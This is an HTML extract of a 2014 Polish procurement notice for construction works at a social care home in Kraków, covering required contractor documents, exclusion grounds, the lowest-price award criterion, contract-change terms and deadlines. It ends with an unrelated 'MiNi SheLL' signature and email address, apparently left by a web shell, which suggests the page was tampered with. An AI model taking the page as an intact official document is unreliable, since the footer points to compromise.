<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz robót budowlanych wykonanych w okresie ostatnich pięciu lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich rodzaju i wartości, daty i miejsca wykonania oraz z załączeniem dowodów dotyczących najważniejszych robót, określających, czy roboty te zostały wykonane w sposób należyty oraz wskazujących, czy zostały wykonane zgodnie z zasadami sztuki budowlanej i prawidłowo ukończone;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień;</li>

<li  style="margin-bottom: 12px;">informację banku lub spółdzielczej kasy oszczędnościowo-kredytowej potwierdzającą wysokość posiadanych środków finansowych lub zdolność kredytową wykonawcy, wystawioną nie wcześniej niż 3 miesiące przed upływem terminu składania ofert albo składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia;</li>

<li  style="margin-bottom: 12px;">opłaconą polisę, a w przypadku jej braku, inny dokument potwierdzający, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia.</li>

</ul><p>Wykonawca powołujący się przy wykazywaniu spełnienia warunków udziału w postępowaniu, o których mowa w art. 22 ust. 1 pkt 4 ustawy, na zasoby innych podmiotów przedkłada następujące dokumenty dotyczące podmiotów, zasobami których będzie dysponował wykonawca:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
			
<li  style="margin-bottom: 12px;">informację banku lub spółdzielczej kasy oszczędnościowo-kredytowej potwierdzającej wysokość posiadanych środków finansowych lub zdolność kredytową innego podmiotu, wystawioną nie wcześniej niż 3 miesiące przed upływem terminu składania ofert albo składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia;</li>

			
<li  style="margin-bottom: 12px;">opłaconą polisę, a w przypadku jej braku, inny dokument potwierdzający, że inny podmiot jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków, lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1.Wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na potencjał innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada pisemne zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na okres korzystania z nich przy wykonywaniu zamówienia.
2.Pełnomocnictwo do podpisywania oferty i składania ewentualnych wyjaśnień, jeżeli osobą podpisującą nie jest osoba upoważniona.
Wszelkie pełnomocnictwa winny być załączone do oferty w formie oryginału lub urzędowo poświadczonego odpisu pełnomocnictwa (notarialnie - art. 96 ustawy z 14 lutego 1991 r. - Prawo o notariacie (tekst jednolity Dz. U. z 2008 r. Nr 189 poz. 1158 z późniejszymi zmianami).
3.Dokumenty potwierdzające prawidłowo wniesione wadium.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.	Wzór umowy stanowi załącznik nr 6 do  specyfikacji.
2.	Zamawiający przewiduje możliwość zmian postanowień zawartej umowy w stosunku do treści złożonej oferty, na podstawie, której dokonano wyboru Wykonawcy w zakresie:
a.	zmiany    osób    przewidzianych    do    realizacji    zamówienia    przez    Wykonawcę
w przypadku nieprzewidzianych zdarzeń losowych min.  takich jak: śmierć, choroba,
ustanie   stosunku   pracy,   zmiana   zakresu   obowiązków,   nienależyte   wykonywanie
obowiązków,  pod  warunkiem,  że  osoby zaproponowane  będą posiadały  takie  same
kwalifikacje jak osoby wskazane w umowie,
b.	podwykonawstwa - wyłącznie za uprzednią zgodą Zamawiającego:
powierzenia podwykonawcom innej części robót niż wskazana w ofercie Wykonawcy,
powierzenia podwykonawcom części robót, mimo oświadczenia o samodzielnej realizacji zamówienia złożonego przez Wykonawcę w ofercie,
c.	zmiany inspektora nadzoru wskazanego w umowie przez Zamawiającego,
d.	zmian  w harmonogramie rzeczowo-finansowym, bez możliwości zmiany terminu zakończenia robót i oddania budynku do użytku,
e.	dopuszczenia występowania robót zamiennych, dotyczących robót ujętych w kosztorysie ofertowym,  bez możliwości zmiany ostatecznego wynagrodzenia Wykonawcy; zmiana wymaga zgody obu Stron, przy udziale inspektora nadzoru i Biura Projektowego
f.	zastosowania materiałów i technologii innych niż określone w umowie, pod warunkiem, że ich parametry techniczne i jakościowe nie będą gorsze niż wskazane w umowie; zmiana wymaga zgody obu Stron, przy udziale inspektora nadzoru i Biura Projektowego
g.	Warunkiem dokonania zmian w umowie jest złożenie wniosku przez stronę inicjująca zmianę zawierającego:
opis propozycji zmiany,
uzasadnienie zmiany,
obliczenia kosztów zmiany,  
h.	Warunki zmian:
inicjowanie zmian - na wniosek Wykonawcy lub Zamawiającego,
uzasadnienie zmian - w szczególności: prawidłowa realizacji przedmiotu umowy, obniżenie kosztów, zapewnienie optymalnych parametrów technicznych i jakościowych robót,
zgoda obu Stron na wprowadzenie zmian,
forma zmian - aneks do umowy w formie pisemnej pod rygorem nieważności, z wyłączeniem zmian dotyczących robót zamiennych.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://www.dpskrakowska.krakow.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Dom Pomocy Społecznej w Krakowie, ul. Krakowska 55, 31 - 066 Kraków..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 03.07.2014 godzina 12:00, miejsce: Dom Pomocy Społecznej w Krakowie, ul. Krakowska 55, 31 - 066 Kraków, sekretariat..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zadanie realizowane ze Szwajcarsko-Polskiego Programu Współpracy, Obszar priorytetowy 4: Rozwój społeczny i zasobów ludzkich, Obszar tematyczny: ochrona zdrowia, wdrażanego w ramach projektu Pomocna dłoń pod bezpiecznym dachem.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com